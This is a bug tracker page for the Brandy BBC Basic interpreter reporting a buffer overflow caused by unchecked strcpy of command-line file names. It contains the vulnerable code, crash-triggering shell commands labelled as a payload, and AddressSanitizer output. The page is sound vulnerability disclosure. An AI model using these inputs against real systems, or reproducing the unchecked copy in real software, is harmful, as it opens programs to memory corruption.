Brandy Basic V Interpreter Bugs

Brandy is an interpreter for BBC Basic

Brought to you by: dave_daniels

#10 Buffer overflow in read argv

Milestone: v1.0 (example) **Status:** open **Owner:** nobody **Labels:** bug (2) bofs (2)
Priority: 5
Updated: 2020-09-15 **Created:** 2019-08-06 **Creator:** Nguyen Le Quoc Anh **Private:** No

Dear Team,
I found a buffer overflow in run_interpreter() function and the another functions else. They also get input without checking input length.

```
static void run_interpreter(void) {
  if (setjmp(basicvars.restart)==0) {
    if (!basicvars.runflags.loadngo && !basicvars.runflags.outredir) announce();    /* Say
    init_errors();  /* Set up the signal handlers */
    if (liblist!=NIL) load_libraries();
    if (loadfile!=NIL) {    /*  Name of program to load was given on command line */
      read_basic(loadfile);
      strcpy(basicvars.program, loadfile);  /* Save the name of the file */
      if (basicvars.runflags.loadngo) run_program(basicvars.start); /* Start program execut
    }
  }
```

Payload:

```
brandy -load `python -c 'print "A"*2048'`
or:
brandy -lib `python -c 'print "A"*2048'`
or:
brandy `python -c 'print "A"*2048'`
```

Santizer:

```
=================================================================
==25287==ERROR: AddressSanitizer: global-buffer-overflow on address 0x557a91ecc374 at pc 0x7
WRITE of size 26 at 0x557a91ecc374 thread T0
    #0 0x7f14ceffc3a5  (/usr/lib/x86_64-linux-gnu/libasan.so.4+0x663a5)
    #1 0x557a91b3d5e8 in init2 src/brandy.c:156
    #2 0x557a91b3d5e8 in main src/brandy.c:70
    #3 0x7f14ce590b96 in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x21b96)
    #4 0x557a91b3e369 in _start (/bin/brandy+0x21369)

0x557a91ecc374 is located 44 bytes to the left of global variable 'lastaddr' defined in 'src
0x557a91ecc374 is located 0 bytes to the right of global variable 'editname' defined in 'src
SUMMARY: AddressSanitizer: global-buffer-overflow (/usr/lib/x86_64-linux-gnu/libasan.so.4+0x
Shadow bytes around the buggy address:
  0x0aafd23d1810: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
  0x0aafd23d1820: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f9 f9
  0x0aafd23d1830: f9 f9 f9 f9 00 00 00 00 00 f9 f9 f9 f9 f9 f9 f9
  0x0aafd23d1840: 00 00 00 00 00 01 f9 f9 f9 f9 f9 f9 f9 00 f9 f9
  0x0aafd23d1850: f9 f9 f9 f9 00 00 00 00 00 f9 f9 f9 f9 f9 f9 f9
=>0x0aafd23d1860: 00 f9 f9 f9 f9 f9 f9 f9 00 00 00 00 00 00[04]f9
  0x0aafd23d1870: f9 f9 f9 f9 04 f9 f9 f9 f9 f9 f9 f9 00 00 00 00
  0x0aafd23d1880: 00 f9 f9 f9 f9 f9 f9 f9 00 f9 f9 f9 f9 f9 f9 f9
  0x0aafd23d1890: 00 f9 f9 f9 f9 f9 f9 f9 04 f9 f9 f9 f9 f9 f9 f9
  0x0aafd23d18a0: 00 f9 f9 f9 f9 f9 f9 f9 00 00 00 00 00 00 00 00
  0x0aafd23d18b0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Shadow byte legend (one shadow byte represents 8 application bytes):
  Addressable:           00
  Partially addressable: 01 02 03 04 05 06 07
  Heap left redzone:       fa
  Freed heap region:       fd
  Stack left redzone:      f1
  Stack mid redzone:       f2
  Stack right redzone:     f3
  Stack after return:      f5
  Stack use after scope:   f8
  Global redzone:          f9
  Global init order:       f6
  Poisoned by user:        f7
  Container overflow:      fc
  Array cookie:            ac
  Intra object redzone:    bb
  ASan internal:           fe
  Left alloca redzone:     ca
  Right alloca redzone:    cb
==25287==ABORTING
```

```
brandy `python -c 'print "A"*2048'`
=================================================================
==25435==ERROR: AddressSanitizer: global-buffer-overflow on address 0x55f5bf7ee168 at pc 0x7
WRITE of size 2068 at 0x55f5bf7ee168 thread T0
    #0 0x7f3aa3fd88f8 in __interceptor_vsprintf (/usr/lib/x86_64-linux-gnu/libasan.so.4+0x96
    #1 0x55f5bf58303e in error src/errors.c:659
    #2 0x55f5bf59026e in read_basic src/editor.c:624
    #3 0x55f5bf59c319 in run_interpreter src/brandy.c:324
    #4 0x55f5bf45f613 in main src/brandy.c:71
    #5 0x7f3aa3534b96 in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x21b96)
    #6 0x55f5bf460369 in _start (/bin/brandy+0x21369)

0x55f5bf7ee168 is located 0 bytes to the right of global variable 'errortext' defined in 'sy
SUMMARY: AddressSanitizer: global-buffer-overflow (/usr/lib/x86_64-linux-gnu/libasan.so.4+0x
Shadow bytes around the buggy address:
  0x0abf37ef5bd0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
  0x0abf37ef5be0: 00 00 00 00 00 00 00 00 00 00 00 00 f9 f9 f9 f9
  0x0abf37ef5bf0: 00 00 00 00 00 f9 f9 f9 f9 f9 f9 f9 00 f9 f9 f9
  0x0abf37ef5c00: f9 f9 f9 f9 00 f9 f9 f9 f9 f9 f9 f9 00 00 00 00
  0x0abf37ef5c10: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
=>0x0abf37ef5c20: 00 00 00 00 00 00 00 00 00 00 00 00 00[f9]f9 f9
  0x0abf37ef5c30: f9 f9 f9 f9 00 00 00 00 00 f9 f9 f9 f9 f9 f9 f9
  0x0abf37ef5c40: 00 00 00 00 01 f9 f9 f9 f9 f9 f9 f9 00 f9 f9 f9
  0x0abf37ef5c50: f9 f9 f9 f9 00 00 00 00 00 f9 f9 f9 f9 f9 f9 f9
  0x0abf37ef5c60: 00 f9 f9 f9 f9 f9 f9 f9 f9 00 00 00 00 00 00 04 f9
  0x0abf37ef5c70: f9 f9 f9 f9 04 f9 f9 f9 f9 f9 f9 f9 00 00 00 00
Shadow byte legend (one shadow byte represents 8 application bytes):
  Addressable:           00
  Partially addressable: 01 02 03 04 05 06 07
  Heap left redzone:       fa
  Freed heap region:       fd
  Stack left redzone:      f1
  Stack mid redzone:       f2
  Stack right redzone:     f3
  Stack after return:      f5
  Stack use after scope:   f8
  Global redzone:          f9
  Global init order:       f6
  Poisoned by user:        f7
  Container overflow:      fc
  Array cookie:            ac
  Intra object redzone:    bb
  ASan internal:           fe
  Left alloca redzone:     ca
  Right alloca redzone:    cb
==25435==ABORTING
```

To fix all bugs above you should check input length before coping it from loadfile to basicvars.program by using strncpy() instead.

Related

Bugs: #10

Discussion

Michael McConnell - *2020-09-15*

Fixed downstream on the Matrix Brandy fork.

Nguyen Le Quoc Anh - *2020-09-16*

Dear Michael McConnell,
Could you assign a CVE ID for me?

On Wed, 16 Sep 2020, 04:47 Michael McConnell, soruk42@users.sourceforge.net
wrote:

Log in to post a comment.

Fixed downstream on the Matrix Brandy fork.

- [bugs:#10] https://sourceforge.net/p/brandy/bugs/10/ Buffer overflow in read argv*

Status: open
Group: v1.0 (example)
Labels: bug bofs
Created: Tue Aug 06, 2019 09:03 AM UTC by Nguyen Le Quoc Anh
Last Updated: Tue Aug 06, 2019 09:03 AM UTC
Owner: nobody

Dear Team,
I found a buffer overflow in run_interpreter() function and the another functions else. They also get input without checking input length.

static void run_interpreter(void) {
if (setjmp(basicvars.restart)==0) {
if (!basicvars.runflags.loadngo && !basicvars.runflags.outredir) announce(); / *Say who we are* /
init_errors(); / *Set up the signal handlers* /
if (liblist!=NIL) load_libraries();
if (loadfile!=NIL) { / *Name of program to load was given on command line* /
read_basic(loadfile);
strcpy(basicvars.program, loadfile); / *Save the name of the file* /
if (basicvars.runflags.loadngo) run_program(basicvars.start); / *Start program execution* /
}
}

Payload:

brandy -load `python -c 'print "A"*2048'` or:brandy -lib `python -c 'print "A"*2048'` or:brandy `python -c 'print "A"*2048'`

Santizer:

==========25287==ERROR: AddressSanitizer: global-buffer-overflow on address 0x557a91ecc374 at pc 0x7f14ceffc3a6 bp 0x7fff8f8d39d0 sp 0x7fff8f8d3178WRITE of size 26 at 0x557a91ecc374 thread T0